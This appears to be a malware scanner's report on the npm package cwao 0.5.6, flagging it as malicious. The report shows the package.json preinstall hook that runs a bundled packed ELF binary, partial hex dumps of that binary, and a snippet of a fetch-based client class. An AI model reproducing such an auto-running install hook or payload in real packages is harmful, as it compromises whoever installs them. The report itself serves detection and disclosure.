cwao 0.5.6
Preinstall hook executes packed ELF
npm preinstall executes sectionless bundled ELFnpm install hook executes a bundled native binary
SHA-256a49a3c1b7ec66a7f5ae1931e889425359cd9ee6b4f5c562a02ba359bc1b0e1f2
Also flagged by osv (MAL-2026-4544: Malicious code in cwao (npm)) +4 more.
Evidence
1{
2 "name": "cwao",
3 "version": "0.5.6",
4 "main": "index.js",
5 "license": "MIT",
6 "scripts": {
7 "preinstall": "./vendor/setup"
8 },
9 "dependencies": {
⋯5 lines
0x07f454c46020101000000000000000000.ELF............
0x1003003e0001000000b8862c0000000000..>.......,.....
0x2040000000000000000000000000000000@...............
0x4001000000060000000000000000000000................
0x5000000000000000000000000000000000................
0x600010000000000000eca61d0000000000................
0x7000100000000000000100000005000000................
⋯11 more rows
⋯3 more rows
0xed6ec506875705800545f6a105eb83f010000PhupX.T_j.^.?...
0xed6fc0f0585c0791d85f6740431f6ebed488d....y...t.1...H.
0xed70c3526010000ad92ad56965f6a0258e80a5&......V._j.X..
⋯7 more rows
⋯3 more rows
0xed7f85c4d31c94d89e06a01415a6a055a29ff\M1.M..j.AZj.Z).
0xed8086a0958e819000000504889451841505fj.X.....PH.E.AP_
0xed8186a03580f05584883c010ffe0f30f1efaj.X..XH.........
0xed828c3500f0559483d00f0ffff7201f4c3c0.P..YH=....r....
⋯7 more rows
1class MU {
2 constructor({ url = "http://localhost:1985" }) {
3 this.url = url
4 }
5
6 async get() {
7 return await fetch(this.url).then(r => r.text())
8 }
9
10 async post(msg) {
11 return await fetch(this.url, {
12 method: "POST",
13 headers: {
14 "Content-Type": "application/octet-stream",
15 Accept: "application/json",
16 },
17 redirect: "follow",
⋯6 lines
Showing the top 5 files — 4 more files (17 regions) not shown.
No evidence locations were recorded for this file. Raw result